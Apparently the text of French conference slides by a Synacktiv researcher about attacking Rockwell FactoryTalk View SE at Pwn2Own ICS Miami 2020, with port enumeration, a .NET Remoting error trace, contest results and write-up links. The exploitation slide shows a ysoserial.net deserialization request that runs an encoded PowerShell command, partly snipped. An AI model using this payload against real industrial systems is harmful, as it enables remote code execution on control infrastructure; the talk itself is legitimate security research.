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whoami

Lucas Georges
@_lucas_georges_

Reverse Engineer @Synacktiv
Recherche de vulnérabilités & exploitation

Synacktiv

Société spécialisée en sécurité offensive
~ 70 ninjas
On recrute😂

www.synacktiv.com
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Concours

Pwn2Own késako?

“Zero Day Initiative” ZDI
programme de bug bounty créé en 2005 par TippingPoint
Priorité aux vulnérabilités & exploits 0-days

“Pwn2Own” P20
Evenement bi/tri-annuel en marge de conférences de securité
Première occurence à CanSecWest 2007
Publie une liste de cibles et scénarios 3 mois en avance
Démonstration “live” d’exploits 0-days
Cash prizes importants : entre 5 000$ et 100 000$
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Concours

Annonce officielle de ZDI
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Cible
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Cible

Liste des catégories

Control Server
Iconics Genesis64
Inductive Automation Ignition

OPC Unified Architecture Server
Unified Architecture ANSI C Demo Server
OPC Foundation OPC UA .NET Standard

DNP3 Gateway
Triangle Microworks SCADA Data Gateway

Human Machine Interface (HMI)
Rockwell Automation FactoryTalk View SE
Schneider Electric EcoStruxure Operator

Engineering Workstation Software
Rockwell Automation Studio 5000
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Cible

Annonce officielle de ZDI
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Surface d’attaque

PS C:\WINDOWS\system32> netstat -a -b | Select-String -Context 1 0.0.0.0

Proto Local Address Foreign Address State
> TCP 0.0.0.0:403 HMIClient:0 LISTENING

[FTAE_HistServ.exe]
> TCP 0.0.0.0:1332 HMIClient:0 LISTENING

[RdcyHost.exe]
> TCP 0.0.0.0:3060 HMIClient:0 LISTENING

[RnaDirServer.exe]
> TCP 0.0.0.0:4255 HMIClient:0 LISTENING

[RsvcHost.exe]
> TCP 0.0.0.0:6543 HMIClient:0 LISTENING

[RnaAeServer.exe]
> TCP 0.0.0.0:8082 HMIClient:0 LISTENING

[RNADiagnosticsSrv.exe]
> TCP 0.0.0.0:9111 HMIClient:0 LISTENING

[RnaAeServer.exe]
> TCP 0.0.0.0:22350 HMIClient:0 LISTENING

[CodeMeter.exe]
> TCP 0.0.0.0:22352 HMIClient:0 LISTENING

[CmWebAdmin.exe]
> TCP 0.0.0.0:27000 HMIClient:0 LISTENING

[lmgrd.exe]
> TCP 0.0.0.0:57400 HMIClient:0 LISTENING

[flexsvr.exe]
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Surface d’attaque

Port Process Language curl result
403 FTAE_HistServ.exe C++ N/A
1332 RdcyHost.exe C++ N/A
3060 RnaDirServer.exe C++ Error HTTP/0.9
4255 RsvcHost.exe C++ N/A
5241 RsvcHost.exe C++ N/A
6543 RnaAeServer.exe C++ N/A
8082 RNADiagnosticsSrv.exe C# “Server encountered an internal error”
9111 RnaAeServer.exe C++ N/A
22350 CodeMeter.exe C++ retourne une 301 vers le port 22352
22352 CmWebAdmin.exe Go <HTML 200 status>
27000 lmgrd.exe C Error HTTP/0.9
57400 flexsvr.exe C Error HTTP/0.9
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Recherche de vulnérabilité

PS C:\Users\bob> curl http://127.0.0.1:8082/
curl : System.ArgumentNullException: No message was deserialized prior to calling

the DispatchChannelSink.
Parameter name: requestMsg

at System.Runtime.Remoting.Channels.DispatchChannelSink.ProcessMessage(
IServerChannelSinkStack sinkStack, IMessage requestMsg,
ITransportHeaders requestHeaders, Stream requestStream, IMessage& responseMsg,
ITransportHeaders& responseHeaders, Stream& responseStream)

at System.Runtime.Remoting.Channels.BinaryServerFormatterSink.ProcessMessage(
IServerChannelSinkStack sinkStack, IMessage requestMsg,
ITransportHeaders requestHeaders, Stream requestStream, IMessage& responseMsg,
ITransportHeaders& responseHeaders, Stream& responseStream)

at System.Runtime.Remoting.Channels.Http.HttpServerTransportSink.ServiceRequest(
Object state)

at System.Runtime.Remoting.Channels.SocketHandler.ProcessRequestNow()
At line:1 char:1
+ curl http://127.0.0.1:8082/
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~

+ CategoryInfo : InvalidOperation: (System.Net.HttpWebRequest:
HttpWebRequest) [Invoke-WebRequest], WebException

+ FullyQualifiedErrorId : WebCmdletWebResponseException,Microsoft.PowerShell.
Commands.InvokeWebRequestCommand

PS C:\Users\bob>
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Recherche de vulnérabilité
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Recherche de vulnérabilité
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Recherche de vulnérabilité
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Recherche de vulnérabilité
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Recherche de vulnérabilité
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Exploitation

Source : https://github.com/pwntester/ysoserial.net

https://github.com/pwntester/ysoserial.net
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Exploitation

POST /FactoryTalkLogReader HTTP/1.1
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
Content-Length: 25540
Content-Type: application/octet-stream
......................^Microsoft.PowerShell.Editor, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31
bf3856ad364e35.....BMicrosoft.VisualStudio.Text.Formatting.TextFormattingRunProperties.....ForegroundBrush
.............<ResourceDictionary

xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:System="clr-namespace:System;assembly=mscorlib"
xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system">

<ObjectDataProvider x:Key="LaunchCalc" ObjectType = "{ x:Type Diag:Process}" MethodName = "Start" >
<ObjectDataProvider.MethodParameters>

<System:String>powershell.exe</System:String>
<System:String>-e "

ZgB1AG4AYwB0AGkAbwBuACAAUABvAHAALQBDAGEAbABjACgAKQAgAHsACgAgACAAIAAgACQAUwBvAHUAcgBjAGUAIAA9ACA
[... snipped 24000 characters ...]
AGwAYwAuAGUAeABlACcAKQA7AAoAfQAKAAoAUABvAHAALQBDAGEAbABjAA==" </System:String>

</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>

</ResourceDictionary>.
HTTP/1.1 200 OK
Content-Type: application/octet-stream
Server: MS .NET Remoting, MS .NET CLR 4.0.30319.42000
Content-Length: 479
..................."........... .........)System.Runtime.Remoting.RemotingException.... ClassName.Message.Data.

InnerException.HelpURL.StackTraceString.RemoteStackTraceString.RemoteStackIndex.ExceptionMethod.HResult.
Source WatsonBuckets.............System.Collections.IDictionary.System.Exception........)System.Runtime.
Remoting.RemotingException.....oServer encountered an internal error. For more information, turn off
customErrors in the server's .config file.
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Exploitation
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Concours

Etapes

0 Le premier jour, tirage au sort pour les passages
1 “Show time”, tu as 3 essais (3 sessions de 5 mins, ne peut pas dépasser 20 mins au total)

pour faire passer ton exploit.
2 Debrief’ avec l’équipe de ZDI, afin de checker la validité de la vulnérabilité et les potentiels

doublons
3 Présentation de la vulnérabilité & exploit au vendeur
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Concours

Participants

InciteTeam : @mufinnnnnnn & @stevenseeley (ZDI researchers)
Tobias Scharnowski, Niklas Breitfeld, Ali Abbasi (PhD “students”)
Flashback Team : (ZDI researchers)
Claroty Research (ICS security company)
Ben McBride (Oak Ridge National Observatory)
Fabius Artrel (VerSprite)
Michael Stepankin (VeraCode)
Lucas Georges (Synacktiv)
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Concours

E-sport
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Concours

E-sport
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Résultats

Team Target Type Result

Day 1
Incite Triangle Gateway DOS Success
Claroty Genesis64 DOS Success
Incite Rockwell HMI RCE Partial
Fabius Rockwell HMI RCE Partial
Germans Rockwell HMI RCE Success
Flashback Genesis64 RCE Success
Germans Genesis64 RCE Success
Flashback Ignition DOS Success
Day 2
Incite Ignition RCE Success
Claroty Schneider RCE Success
Flashback Rockwell HMI RCE Success
Claroty Ignition RCE Partial
Claroty Ignition RCE Success
Incite Schneider RCE Failure
Ben McBride Genesis64 Leak Failure
Ben McBride Ignition DOS Partial
Day 3
Incite Studio 5000 RCE Success
Claroty Triangle Gateway DOS Partial
Stepankin Ignition RCE Partial
Incite OPC UA .NET DOS Success
Incite Genesis64 RCE Success
Claroty Rockwell HMI RCE Success
Germans Triangle Gateway RCE Success
Ben McBride Ignition RCE Partial
L.Georges Rockwell HMI RCE Partial
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Concours

“The {{team}} successfully demonstrated the RCE, but the bug used had been
previously reported”



Table des matières

1 Introduction

2 Recherche de vulnérabilité

3 Concours

4 Conclusion



30/32

Conclusion

Source : https://www.wired.com/story/pwn2own-industrial-hacking-contest/

https://www.wired.com/story/pwn2own-industrial-hacking-contest/
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Concours

Writeups

Pwn2Own -> Xxe2Rce : http://muffsec.com/blog/?p=608
https://srcincite.io/blog/2020/02/18/silent-schneider-revealing-a-hidden-patch-in-
ecostruxure-operator-terminal-expert.html
https://www.zerodayinitiative.com/blog/2020/8/24/cve-2020-10611-achieving-code-
execution-on-the-triangle-microworks-scada-data-gateway
https://github.com/pedrib/PoC/blob/master/advisories/Pwn2Own/Miami_2020/
https://www.synacktiv.com/publications/izi-izi-pwn2own-ics-miami.html

http://muffsec.com/blog/?p=608
https://srcincite.io/blog/2020/02/18/silent-schneider-revealing-a-hidden-patch-in-ecostruxure-operator-terminal-expert.html
https://srcincite.io/blog/2020/02/18/silent-schneider-revealing-a-hidden-patch-in-ecostruxure-operator-terminal-expert.html
https://www.zerodayinitiative.com/blog/2020/8/24/cve-2020-10611-achieving-code-execution-on-the-triangle-microworks-scada-data-gateway
https://www.zerodayinitiative.com/blog/2020/8/24/cve-2020-10611-achieving-code-execution-on-the-triangle-microworks-scada-data-gateway
https://github.com/pedrib/PoC/blob/master/advisories/Pwn2Own/Miami_2020/
https://www.synacktiv.com/publications/izi-izi-pwn2own-ics-miami.html
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